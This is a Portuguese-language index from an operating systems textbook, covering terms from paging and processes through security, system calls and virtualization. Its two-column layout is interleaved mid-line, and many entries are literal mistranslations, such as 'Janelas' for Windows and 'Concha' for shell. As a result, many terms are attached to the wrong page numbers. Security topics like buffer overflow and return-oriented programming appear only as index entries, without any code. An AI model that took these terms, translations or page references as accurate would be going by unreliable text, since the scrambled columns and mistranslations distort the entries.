geração, 15-19 convidado, 72, 
485, 514-515 host, 72, 485, 
517-520 em camadas, 64-66 


Linux, mainframe 

793-863, microkernel 

36-38, 66-68 

MINIX 3, 15, 63-68, 342, 612, 709-712, 1047 monolítico, 63- 

64 multiprocessador, 

541-545 

OS/2, 874, 926 

OS/360, 11 

em tempo real, 38-39 

segunda geração, 8—10 

servidores, 

37 cartões 

inteligentes, 39 smartphones, 37 

Sistema V, 707 

THE, 64-65 

terceira geração, 10-15 

UNIX, 1, 4, 14-18, 39-51, 56-62, 76-80, 89-93, 105-107, 261- 
277, 308-312, 328-330, 400—406, 620-621, 640-642, 703-716, 
1044-1055 máquina virtual, 69-72 


Janelas 7, 877 

Janelas 8, 877-978 

Janelas 10, 878-879 

Janelas 11, 871—1036 

Janelas 95/98, 875 

Janelas 2000, 17.875, 988, 994 

Windows NT, 17, 874-875, 909, 989—1000 

WindowsXP, 875-877 
Sistema operacional como máquina estendida, 4-6 
Sistema operacional como gerenciador de recursos, 6-7 
Conceitos de sistema operacional, 39-50 
Projeto do sistema operacional, 1041-1082 
Metas do sistema operacional, 1042-1043 
Endurecimento do sistema operacional, 681—694 
Implementação do sistema operacional, 1053-1070 
Design de interface do sistema operacional, 1045-1053 
Paradigma do sistema operacional, dados 1048- 

1051, execução 1050- 

1051, interface de usuário 

1049-1050, 1048-1049 
Desempenho do sistema operacional, 1070-1078 
Estrutura do sistema operacional, 63-74, 1054-1057 

exonúcleo, 1055 
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Estrutura do sistema operacional (continuação) Tratamento de falhas de página, 233-236 
threads de kernel, 1057 Moldura de página, 194 
microkernel, 1056-1057 Número do quadro da página, 198 
Tipo de sistema operacional, 36-39 Banco de dados de número de quadro de página, Windows, 969-970 
Sistema operacional, computador pessoal, 37 Algoritmo de recuperação de quadro de página, 754, 755 
Sistema operacional, histórico, 7-20 Lista de páginas, Windows, 977 
Algoritmo ideal de substituição de página, 208-209 Mapa de página nível 4, 206 
Otimize o caso comum, 1077-1078 Algoritmo de substituição de página, 207-221 
ORB (veja Brokers de Solicitação de Objeto) envelhecimento, 213- 
Princípio da ortogonalidade, 1058-1059 214 clock, 211-212 
Virtualização em nível de sistema operacional, 504-507 primeiro a entrar, primeiro a 
OS/2, 874, 926 sair, 210 usado menos recentemente, 212-214 
08/360, 11 Linux, 755-757 não 
Algoritmo de avestruz, 447-449 usado com frequência, 212 não 
Assassino sem memória, 224 usado recentemente, 209-210 ideal, 
Assassino de falta de memória, Android, 806-807 208-209 frequência de 
Execução fora de ordem, 675 falha de página, 223 segunda 
Software de saída, 402-419 chance, 210-211 resumo, 220-221 


Supercomprometimento de memória, 496 
Busca sobreposta, 370 Windows, conjunto de 
Sobreposição, memória, 192 trabalho 968-969, 214-218 
Relógio WS, 218-220 
Compartilhamento de página, baseado em conteúdo, 501 
P transparente, 501 
Tamanho da página, 226-337 


PAAS (consulte Plataforma como serviço) Tabela de páginas, 194, 196-200 
PAC (consulte Autenticação de ponteiro) estendida, 495-496 
Pacote, Android, 818 Hyper-V, 1005 
Gerenciador de pacotes, Android, 820 invertido, 206-207 
Pacote, 560 Linux, 751 
PAE (consulte Extensão de Endereço Físico) multinível, 204-206 aninhado, 
Página, bloqueada na memória, 236 495-496 shadow, 494 
memória, 192 
fixada, 236 Janelas, 967-969 
Alocador de páginas, 752 Entrada da tabela de páginas, 198-200, 955-956 
Cache de página, 318 Caminhada na tabela de 
Coloração de página, 689 páginas, 203 Tratamento de falhas de página, Windows, 
Combinação de páginas, Windows, 972-973 963-966 Arquivo de paginação, Windows, 958- 
Daemon de página, 755 960, 977 Reserva de arquivo de paginação, 
Descritor de página, 749 Windows, 959 Seção apoiada por arquivo de paginação, 
Diretório de páginas, 205-206 Windows, 960 Paging , 
Tabela de ponteiro de diretório de página, 206 193-196 armazenamento de 
Falha de página, 196, 198, 205, 207-221 apoio, 236-238 cópia na 
induzido por convidado, gravação, 229 backup de instruções, 
494 induzido por hipervisor, 495 234-236 Linux, 754- 
principal, 203 757 local vs. global, 221-224 
menor, 203 páginas compartilhadas, 228- 
Clustering de falhas de página, 965 229 aceleração, 200-203 
Janelas, 959 algoritmos de paginação, 207 —221 


Algoritmo de substituição de página de frequência de falha de página, 223 Daemon de paginação, 225 
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Paginação em memórias grandes, 203-207 
Sistemas de paginação, design, controle de 
carga 221-232, 224-225 
Paládio, 636 
Paradigma, orientado a eventos, 1065 
Paradigmas para projeto de sistema, 1048-1051 
Arquitetura de barramento paralelo, 33 
Paralelos, 481 
Operação Paravirt, 492 
Paravirtualização, 72, 484 
Dispositivo paravirtualizado, Hyper-V, 1007 
Pacote, Android, 814-815 
Processo pai, 724 
Analisar, Windows, 919 
Partição, 59 
filhos, 1003 
Hyper-V, hipervisor 
1003, virtualização 
896, 1003 
Tabela de partição, 279 
Ataque passivo, 616 
Senha, única, 642-643 
Segurança de senha, 637-643 
UNIX, 640-642 fraco, 
638-640 
Correção, Windows, 1033 
Patch binário, Windows, 1033 
Protetor de remendo, Windows, 1031 
Paterson, Tim 16 
Nome do caminho, 43, 274-276 
absoluto, 274 
MULTICS, 274 
relativo, 275 
Pausar chamada do sistema, 729 
PC, IBM, 15 
PCle (consulte Interconexão de componentes periféricos 
Expressar) 
PCR (ver Registro de Configuração da Plataforma) 
PDA (ver Assistente Digital Pessoal) 
PDP-1,14 
PDP-11, 14-15, 49, 50, 341, 705-706 
PE (veja Executável Portátil) 
PEB (consulte Bloco de Ambiente de Processo) 
Rede aleatória perfeita, 533 
Desempenho, cache 1070-1078, 
1075-1076 explorando 
localidade, 1077 sistema de 
arquivos, 321-322 dicas, 
1076 otimizar 


o caso comum, 1077-1078 
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Desempenho (continuação) 
compensações espaço-tempo, 1072-1075 o 
que deve ser otimizado?, 1071-1072 Agendamento 
periódico, 168 Interconexão 
expressa de componentes periféricos, 33 Permissão, Android, 
839-843 Memória persistente, 29 
Armazenamento persistente, 
260 Computador pessoal, 15, 
872 Sistema operacional de 
computador pessoal, 37 Assistente digital pessoal, 37 
Solução de Peterson, 124-125 PF 
(consulte Função Física) 


PFF (consulte Alg. de substituição de página de frequência de falha de página) 
PFN (ver banco de dados de número de quadro de página) 
PFRA (consulte Algoritmo de recuperação de quadro de página) 
Memória de mudança de fase, 931 
Endereço físico, host, 495 
máquina, 495 
Extensão de endereço físico, 753 Despejo 
físico, 309 Função física, 
500 Gerenciamento de 
memória física, 748-752 Windows, 969-971 PID 
(consulte ID de processo) 


Pidgin Pascal, 141 

Página fixada, 236, 749 

Fixação, 236 

Pipe, 45, 725 

Símbolo de Pipe, 718 

Chamada de sistema de 

Pipe, 773 Pipeline, 22, 

718 Texto simples, 

632 Plataforma como serviço, 502 

Registro de configuração de plataforma, 912 
PLT (consulte Procedimento Tabela de ligação) 
Plug-and-play, 907 

Gerenciador plug-and-play, Windows, 980 Pointer, 
autenticação 

de 75 Pointer, Windows, 1030 POLA (consulte 
Princípio de menor autoridade) 

Política, 68 

Política versus mecanismo, 169 Política 

versus mecanismo, 238-240, 1057-1058 Polling, 355 
Thread pop-up, 

568 Popek, Gerald, 480 

critérios Popek e Goldberg, 

507, 510 Compilador C portátil, 706 Executável 
portátil, 35 
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UNIX portátil, 706-707 Processo, 39-41, 85-172 
Varredura de porta, 640 vinculado à computação, 154-155 
Código independente de posição, 232 Limitado a E/S, 
POSIX, 15, 51 implementação 154-155, 94- 
Tópico POSIX, 106-107 95 leve, 102 
Gerenciamento de energia, problemas Linux, agendamento 
de aplicação 420-428, bateria 723-743, sincronização 152- 
428, 427 171, 119-152 
CPU, disco 423- Janelas, 929-955 
426, monitor Processar chamadas de API, Windows, 934-940 
423, interface Comportamento do processo, 154 
de driver 422, problemas de Bloco de controle de processo, 94 
hardware 427—428, memória 421- Criação de processos, 88-90 
422, problemas de Dependência de processo, Android, 834-836 
sistema operacional 425—426, térmico 422- Bloco de ambiente de processo, Windows, 929 
428, 427 Grupo de processos, 725 
Windows, comunicação sem Hierarquia de processos, 91-92 
fio 1000-1003, 426 Identificador do processo, 55, 725 
Gerenciador de energia, Windows, 1000 Ciclo de vida do processo, Android, 833 
Concha de energia, 893 Chamadas do sistema de gerenciamento de processos, 53-57 
Migração de memória pré-cópia, 504 Gerenciador de processos, Windows, 907 
Preâmbulo, disco, 339 Modelo de processo, 86-88 
Interrupção precisa, 349-351 Andróide, 831-836 
Recurso preemptivo, 438 Agendamento de processos 
Agendamento preventivo, 156 Linux, 736-740 
Pré-busca, plano de fundo, 966 Janelas, 944-950 
Janelas, 965 Estado do processo, 92-94 
Preparando, 215 Troca de processos, 185-188 
Janelas, 965 Chave de processo, 154 
Bit presente/ausente, 195, 198 Tabela de processo, 40, 94 
Diretor, ACL, 622 Encerramento do processo, 90-91 
Princípio da menor autoridade, 68 Virtualização em nível de processo, 484 
Princípios de design de sistema, 1045-1047 Chamadas de sistema de gerenciamento de processos no Linux, 726-730 
completude, 1046-1047 eficiência, Algoritmo de alocação de processador, 576 
1047 simplicidade, ProcessHandle, Windows, 885 
1046 Problema produtor-consumidor, 128-132 
Daemon de impressora, 119 Java, 143-144 
Aumento de prioridade, Windows, 948 passagem de mensagens, 146-147 
Teto prioritário, 150 Contador de programa, 21 
Piso prioritário, Janelas, 948 Palavra de status do programa, 21, 181 
Herança prioritária, 150 Entrada/saída programada, 354 
Inversão de prioridade, 150-151 Programação de múltiplos chips principais, 540-541 
Janelas, 948 Programação do Windows, 880-894 
Problema de inversão de prioridade, 127 Gerenciamento de projetos, 1078-1082 
Agendamento prioritário, 163-164 Reunião do projeto, 882 
Privacidade, Android, 836-856 Alerta, shell 716, 
Privacidade e permissão, Android, 845-851 46 
Instrução privilegiada, 482 Processo protegido, Windows, 936, 1025 
Sistema de arquivos Proc, 782-783 Proteção, arquivo, 46 


Tabela de vinculação de procedimentos, 653 Comando de proteção, 628 
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Domínio de proteção, 608, 619-621 
Hardware de proteção, 49 
Anel de proteção, 487 
Protocolo, 466, 587, 645 
NFS, 784-786 
Pilha de protocolos, 587 
Chamada PsCreateSiloContext Win32, 1012 
Pseudoparalelismo, 86 
Chamada PsGetSiloContext Win32, 1012 


PSW (ver palavra de status do programa) 
PTE (ver Entrada da Tabela de Páginas 
Thread, 106-107 

Criptografia de chave pública, 634-635 
Publicar/assinar, 597-598 

Publicação, 597 

Chamada PulseEvent Win32, 938 
PushLock, Janelas, 940 

Pitão, 49, 74 


P 


Classe de QoS, Windows, 949 

Qualidade de serviço, 585 

Classe de qualidade de serviço, Windows, 949 
Quantum, programação, 162 

Chamada QueueUserAPC Win32, 903-904 


Algoritmo de gerenciamento de memória de ajuste rápido, 191 


R 


Nó R, 787 

Condição de corrida, 119—120, 120, 667 

RAID (consulte Matriz redundante de discos baratos) 

RAIL (consulte Aplicativos remotos integrados localmente) 

RAM (veja Memória de Acesso Aleatório) 

Memória de acesso aleatório, 27 

Aumento aleatório, 151 

Arquivo de acesso aleatório, 267 

Arquivo de bloco bruto, 764 

Modo bruto, 398 

RCU (ver Leitura-Cópia-Atualização) 

RDMA (consulte Acesso remoto direto à memória) 

RDP (consulte Protocolo de Área de Trabalho Remota) 

Leia mais adiante, 

bloco 788, 318-319 

Memória somente leitura, 27 

Leia a chamada do sistema, 31-32, 54, 269, 593, 619, 738, 
746, 757, 758, 772, 775, 779, 781, 786, 788, 793, 1045, 1047, 1048, 
1051 
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Leia a chamada Win32, 982, 985 
Leitura antecipada, Windows, 979 
Leitura-cópia-atualização, 151—152 
Seção crítica do lado de leitura, 151 
Chamada de sistema Readdir, 277, 774 
Problema de leitores e escritores, 132-133 
Chamada ReadFile Win32, 997 
Tempo real, relógio, 392 
Sistema operacional em tempo real, 38-39 
Agendamento em tempo real, 168-169 
Receber chamada do sistema, 1047 
Receptor, Android, 827-828 
Recuperando a memória, 496-497 
Recuperação de impasse, 454-455 processos 
de eliminação, 455 preempção, 
454 reversão, 454-455 


Problema de atualização recursiva, 297 

Lixeira, 308 

Efeito rainha vermelha, 647-658 

Reduzindo o movimento do braço do disco, 319-320 

Matriz redundante de discos independentes, 385-390, 386 

Matriz redundante de discos baratos, 385-390, 386 

Reentrância, 1069 

Software reentrante, 362 

Monitor de referência, 613, 694 

Bit referenciado, 198 

Ponteiro referenciado, 916 

ReFs (consulte Sistema de arquivos resiliente) 

Regedit, 893 

Registro 891-894 

Colmeia de registro, 891 

Arquivo normal, 264 

Servidor de reencarnação, 67 

Caminho relativo, 767 

Nome do caminho relativo, 275 

Chamada ReleaseMutex Win32, 938 

Chamada ReleaseSemaphore Win32, 938 

Remapeamento, interrupção, 499 

Aplicativos remotos integrados localmente, 1016 

Atestado remoto, 636, 690-691, 913 

Atestado remoto usando um módulo de plataforma confiável, 690 

Protocolo de área de trabalho remota, 1016 

Acesso remoto direto à memória, 564-565 

Nó remoto, 787 

Chamada de procedimento remoto, 569-571, 880 
Andróide, 810 

Modelo de acesso remoto, 590 

Renomear chamada do sistema, 270, 277 

Encontro, 148 
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Ponto de nova análise, 890, 998 
Sistema de arquivos NT, 994 
Matriz de solicitação, 452 
Serviço de solicitação-resposta, 586 
Requisitos para virtualização, 480-482 
Pesquisa, 
impasse, sistema de 
arquivos 469-470, 
entrada/saída 330, 


gerenciamento de memória 428—430, 


sistemas de múltiplos processadores 248-249, 


sistemas operacionais 598-599, 
processos e threads 78-79, segurança 171— 
172, virtualização 694- 
695 e a nuvem, 523-524 
Página reservada, Windows, 958 
Chamada ResetEvent Win32, 938 
Sistema de arquivos resiliente, 262, 989 
Tela resistiva, 417 
Atividade do resolvedor, Android, 831 
Recurso, 438—444 
X, 406 
Aquisição de recursos, 439-440 
Impasse de recursos, 445 
Rastreamento de recursos, Windows, 977 
Trajetória de recursos, 456-457 
Vetor de recursos, 451 
Token restrito, Windows, 931 
Protetor de fluxo de retorno, Windows, 1029 
Programação orientada a retorno, 653-655 
Janelas, 1028 
Ataque de retorno à libc, 653 
Reutilização, 1068 
Chamada de sistema Rewinddir, 774 
RFG (ver Proteção de Fluxo de Retorno) 
À direita, acesso, 619 
RIM Blackberry, 19 
Rivest, Ron, 634 
Chamada de sistema Rmb, 740 
Chamada de sistema Rmdir, 54, 773 
Função, acesso, 623 
ROM (consulte Memória somente leitura) 
Raiz, 41, 790 
Certificado raiz, 912 
Diretório raiz, 43, 272 
Sistema de arquivos raiz, 44 
Raiz da confiança, 689 
Partição raiz, Hyper-V, 1003 
Agendador raiz, Hyper-V, 1005 
Rootkit, 912 
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ROP (veja Programação Orientada a Retorno) 
Programação round-robin, 162-163 

Roteador, 466, 583 

Vulnerabilidade do martelo de remo, 682 

RPC (consulte Chamada de Procedimento Remoto) 
Criptografia de chave pública RSA, 634 

Modelo de tempo de execução, 78 

Fila de execução, 737 

Bits RWX, 46 


S 


SAAS (consulte Software como serviço) 


SACL (consulte a lista de controle de acesso ao sistema) 


Estado seguro, 457—458 

Modo de segurança, Windows, 914 

Segurança, hipervisor, 482 

Sal, 641 

Saltzer, Jerônimo, 609, 1045 

SAM (consulte Security Access Manager) 

Mesclagem da mesma página, 225 

Caixa de areia, Windows, 1016 

Caixa de areia, 477, 692 

SATA (consulte Serial ATA) 

Código de digitalização, 397 

Sistema programável, 168 

Agendador, 152 

Afinidade do algoritmo de 
agendamento, 
552 aperiódicos, 
168 sistemas em lote, 160-161 
categorias, 156-157 co- 
agendamento, 555 
compartilhamento completamente justo, 
167-168 ordem de chegada, 160 
gangues, 554-555 
gols, 157-159 
garantidos, 166 
Hyper-V, sistema interativo 
1005-1006, introdução 162-168, 153- 
159 
Linux, loteria 736-740, 
multicomputador 166- 
167, fila múltipla 575-576, 
multiprocessador 164-165, 550- 
557 não preemptivo, 156 periódico, 
169 
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Algoritmo de agendamento (continuação) Chamadas de API de segurança, Windows, 1022-1023 
preemptivo, 156 Backdoor de ataque 
prioridade, 163-164 em de segurança, 680-681 
tempo real, 168-169 buffer overflow, 648-658 reutilização 
tempo de resposta, 159 de código, 653-655 injeção 
round-robin, 162-163 trabalho de comando, 666-667 canal secreto, 
mais curto primeiro, 160-161 669-671 negação de serviço, 608 
processo mais curto a seguir, 165-166 ataque de desvio, 656-657 
tempo restante mais curto a seguir, 161 duplo busca, 668 exploração de 
inteligente, hardware, 668-679 
552 compartilhamento de exploração de software, 647—668 liberar 
espaço, 552-554 e recarregar, 673 string de formato, 658- 
thread, 169-171 661 insider, 679—681 
compartilhamento estouro de número inteiro, 665- 
de tempo, 551-552 dois níveis, 552 quando fazer, 155-156 666 bomba lógica, 
Janelas, 944-950 679—680 falsificação de login, 681 


Agendamento para proporcionalidade, 159 


Agendamento para segurança, 556-557 


Agendamento para taxa de transferência, 158 Meltdown, 
Agendamento para tempo de resposta, 158 desreferenciação de ponteiro nulo 676, 664-665 
Grupo de agendamento, Windows, 950 passivo, 616 
Mecanismo de agendamento, 169 programação orientada a retorno, 653-655 retorno à 
Política de agendamento, 169 libc, 653 rowhammer, 
Agendamento quântico, 162 682 canal lateral, 671- 
Schroeder, Michael, 609, 1045 674 
Barra de rolagem, 409 Espectro, 678-679 
SDK (consulte Kit de desenvolvimento de software) especulação, 677-679 
Selagem, 913 Stuxnet, bomba-relógio 
Migração em tempo real perfeita, 504 639-640, 680 tempo 
Tradução de endereços de segundo nível, 1005 de verificação até o tempo de uso, 667-668 
Segundo efeito do sistema, 1081 execução transitória, 674-679 confusão 
Algoritmo de substituição de página de segunda chance, 210-211 de tipo, 662-664 uso após 
Criptografia de chave secreta, 633-634 liberação, 661-662 
Seção, Windows, 885 Segurança pela obscuridade, 632 
SeçãoHandle, Windows, 885 Descritor de segurança, 885 
Inicialização segura, 36, 912 Janelas, 1021 
Exclusão segura de arquivos e criptografia de disco, 322 Domínio de segurança, 608 
Kernel seguro, Windows, 897 Fundamentos de segurança, 607-618 
Máquina virtual segura, 483 Mecanismo de segurança, 608 
Segurança, 605-697 Mitigação de segurança, Windows, 1025-1026 
Android, sistema de Modelo de segurança, 628-632 
arquivos 836-856, modelo Bell-LaPadula, 630-631 
formal 322-323, implementação Biba, 631-632 
628-637 no Linux, 792-793 Segurança da estrutura do sistema operacional, 611-612 
Linux 789-793 Princípios de segurança, 609-611 
sistema operacional multiservidor, 612 mediação completa, 610 
multinível, 630 mecanismo comum leste, 610 economia 
Janelas, 1018-1035 de mecanismo, 609-610 padrão à prova de 
Virtualização do Windows, 1017-1018 falhas, 610 autoridade 


Gerenciador de acesso de segurança, 892 mínima, 610 
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Princípios de segurança (continuação) design Chamada SetEvent Win32, 938, 944 
aberto, 611 separação Chamada de sistema Setgid, 792 
de privilégios, 610 aceitabilidade Chamada SetlnformationJobObject Win32, 1012, 1013 
psicológica, 611 Chamada Win32 SetPriorityClass, 945 
Monitor de referência de segurança, Windows, 908 Chamada Win32 SetProcessinformation, 949 
Agendamento de segurança, 556-557 Chamada SetSecurityDescriptorDacl Win32, 1023 
Chamadas do sistema de segurança, Linux, 791-792 Chamada SetThreadContext Win32, 904 
Tríade de segurança, 608-609 Definir informações de thread chamada Win32, 949 
Procure a chamada do sistema, 269 Chamada Win32 SetThreadPriority, 945 
Segmento, 240 Chamada do sistema Setuid, 792 
Segmentação, 240-248 Programa SFC, 312 
implementação, 242-243 SGX (consulte Extensão do Software Guard) 
Intel x86 Função hash SHA-256, 635 
MÚLTICOS, 243-247 Função hash SHA-512, 635 
Falha de segmentação, 203 Tabela de página sombra, 494 
Selecione chamada do sistema, 110, 905 Pilha de sombra, Windows, 1029 
Automapa, Windows, 941 Shamir, Adi, 634 
SELinux, 843-845 Arquitetura de ônibus compartilhado, 33 
Semântica, compartilhamento de arquivos, Arquivo compartilhado, 288-290 
sessão 593-594, 593 Hospedagem compartilhada, 71 
Semáforo, 129-133, 130-132 Biblioteca compartilhada, 64, 230-232 
Janelas, 938 Bloqueio compartilhado, 770 
Sem chamada de sistema trywait, 741 Páginas compartilhadas, 228-229 
Enviar e receber, multicomputador, 565 Segmento de texto compartilhado, 746 
Enviar chamada do sistema, 1047 Multiprocessador de memória compartilhada, 530 
Chamada do sistema Senda, 1047 Concha, 2, 46-47, 716-719 
Chamada do sistema Sendfile, 775 simplificado, 728 
Chamada do sistema Sendrec, 1047 Personagem mágico de concha, 717 
Instrução sensível, 482 Símbolo de tubo de concha, 718 
Instrução separada e espaço de dados, 227-229 Gasoduto Shell, 718 
Separação de política e mecanismo, 169, 238-240 Alerta de shell, 716 
Acesso sequencial, 266 Script de shell, 718 
Consistência sequencial, 593 Curinga Shell, 717 
memória compartilhada distribuída, 575 Código Shell, 650 
Processo sequencial, 86 Calço, Windows, 943 
ATA serial, 30, 370 Shipley, Pedro, 640 
Arquitetura de barramento serial, 33 Nome abreviado, sistema de arquivos NT, 993 
Servidor, 68 Atalho, 278 
orientado a eventos, 116-118 Agendamento inicial de trabalho mais curto, 160-161 
X, 404 Próximo agendamento do processo mais curto, 165-166 
Contêiner de servidor, Windows, 1011, 1013 Menor tempo restante próximo algoritmo de agendamento, 
Sistema operacional do servidor, 37 161 
Endereço físico do servidor, Hyper-V, 1005 Agendamento de primeiro disco de busca mais curta, 376 
Silo de servidor, Windows, 1012 SID (consulte ID de segurança) 
Esboço de servidor, 569 Canal lateral, 556 
Serviço, Android, 825-837 Biblioteca lado a lado, Windows, 927 
Pacote de serviços, 17 Ataque de canal lateral, 671-674 
Semântica de sessão, 593 Chamada do sistema de acompanhamento, 729 
Definir atributos de chamada do sistema, 270 Sinal, monitor 
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SIMÃO, 480 

Simonyi, Charles, 412 

Propriedade de integridade simples, 632 
Propriedade de segurança simples, 630 
Princípio da simplicidade, 1046 

Simulando LRU em software, 212-214 
Multithreading simultâneo, 541 

Bloco indireto único, 328, 781 

Disco intercalado único, 374 

Único disco grande e caro, 386 
Virtualização de E/S de raiz única, 500 
Sistema de diretório de nível único, 272-273 
Virtualização de E/S de raiz única, Hyper-V, 1008 
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nclinação, disco, 372-373 
ocador de laje, 752 
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hamada Win32 SleepConditionVariableSRW, 939 
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A 
Si 
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Bloqueio leitor-gravador fino, 939 
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Cartão inteligente, 646 
Sistema operacional de cartão inteligente, 39 
Placa de rede inteligente, 562 
Agendamento inteligente, 552 
Smartphone, 13, 14, 19,37 
Sistema operacional para smartphone, 37 
SMEP (consulte Proteção de Execução no Modo Supervisor) 
SMP (consulte MultiProcessador Simétrico) 
Chamada SmPageEvict Win32, 975 
Chamada SmPageRead Win32, 974 
Chamada SmPageWrite Win32, 973, 974 
SMT (consulte Multithreading Simultâneo) 
Cache de espionagem, 538 
Multiprocessador de espionagem, 538 
SoC (veja Sistema em um Chip) 
Engenharia social, Android, 856-861 
Soquete 
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Janelas, 937 
Chamada de sistema de soquete, 765 
Falha leve, Windows, 958, 964 
Miss suave, TLB, 203 
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Temporizador suave, 394-395 
Software como serviço, 502 
Kit de desenvolvimento de software, 795 
Janelas, 882 
Isolamento de falha de software, 514 
Extensão de proteção de software, 688 
Proteção de software, 681—694 
Gerenciamento de TLB de software, 202-203 
Unidade de estado sólido, 7, 381-385 
SPA (consulte Endereços físicos do servidor) 
Compartilhamento de espaço, 
552-554 Compensações espaço-tempo, 1072- 
1075 Arquivo esparso, sistema de arquivos NT, 
995-996 Arquivo especial, 45, 
264, 758 Spectre, 678-679, 
928 Spin lock, 124, 546-549 
Spinning versus switching, 548-549 Diretório de 
spooler, 119 Spooling, 12, 369 
Diretório de spool, 369 
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SR-IOV (consulte Virtualização de E/S de raiz única) 
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padrão, 717 Entrada 
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Conjunto de armazenamento, Windows, 980 
Espaços de armazenamento, Windows, 980 
Armazenar thread de despejo, Windows, 975 
Gerente de loja, Windows, 973 
Comutação de pacotes de armazenamento e encaminhamento, 560 
Cartão de valor armazenado, 644 
Alternância estrita, 123-124 
Distribuição, RAID, 386 
Estrutura, sistema operacional, 1054-1057 
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633 Subsystem, Windows, 880, 
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22 Superusuário, 41, 790 Modo 
Supervisor, 2 Proteção de acesso ao 
modo Supervisor, 687 
Proteção de execução do 
modo Supervisor, 687 Bloqueador de suspensão, 804 
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SVM (consulte Máquina Virtual Segura) 
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sistema de sincronização, 757, 984 Sincronização, 
132 Linux, 740-741 Windows, 938-940 
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Evento de sincronização, 
938 Multiprocessador de 
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Chamada do sistema, 23, 50-63 
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269, 761, 771, 785, 786 fechado, 277 
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269, 277 
gerenciamento de diretório, 58-59 inativo, 770, 1077 exec, 
90, 620, 727, 728, 732, 
748, 808, 831, 935, 936, 1052, 1059 saída, 
728 fontl, 773 
gerenciamento de arquivos, 57-58 fork, 544, 724, 726, 727, 731, 733, 
734, 735, 753, 808, 831, 
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935, 936, 
1052, 1059, 1069 fstat, 773 fsync, 
757 get-acl, 625 obter atributos, 269 getpid, 725 ioctl, 761, 982, 983, 
984 kill, 729 kmalloc, 753 link, 277, 774 listen, 760 lock, 775 lookup, 
785 Iseek, 
734, 735, 772, 
1047 mem, 749 
diversos, 60 mkdir, 773 
mmap, 747, 806, 
890 mount, 786, 787 munmap, 747 
mutex 
trylock, 741 
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abrir, 269, 
758, 771, 775, 
777, 785, 786, 789 opendir, 277 pausar, 
729 
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772, 775, 779, 781, 786, 788, 793, 1045, 1047, 1048, 
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readdir, 277, 774 
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renomear, 270, 277 

rewindadir, 774 rmb, 

740 rmdir, 
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269 
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1047 senda, 

1047 sendfile, 

775 sendrec, 

1047 set-acl, 625 
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270 setgid, 792 setuid, 
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765 stat, 773, 776, 
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sincronização, 757, 984 

desvincular, 277, 
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1054, 1065 unmap, 747 
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Chamada do sistema (veja também chamada Win32) 
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TDX (consulte Extensão de domínio confiável) 
Estrutura da equipe, 1079-1081 
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Janela de texto, 402 
O sistema operacional, 64 
Gerenciamento de energia térmica, 427 
Cliente fino, 419-420 
Provisionamento dinâmico, Windows, 981 
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Thread, 97-116 
comparação de modelos, 118 híbrido, 
112-113 kernel, 111- 
112 
Linux, 733-736 
POSIX, 106-107 
espaço do usuário, 107-111 
Windows, 933-934 
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Chamadas de thread Win32, 934-940 
Cache de thread, 100 
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Armazenamento local de thread, Windows, 930 
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Conjunto de threads, Windows, 932-933 
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Janelas, 944-950 
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Tópicos, Windows, 929-955 
Implementação do Windows, 941-950 
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página transparente, 501 Trap, 52, 347 Trap 4BSD, 707 
vs. 483-484 Bloco indireto triplo, 328, 781 Berkeley, nomes de 
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Desempacotamento, 815 
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Chamada ValidDataLength Win32, 979 Vampire 500, 493-497 

tap, 582 VAX, 17 VBS Nível do sistema 

(consulte operacional, nível de 

Segurança baseada em virtualização) processo 504-507, requisitos 
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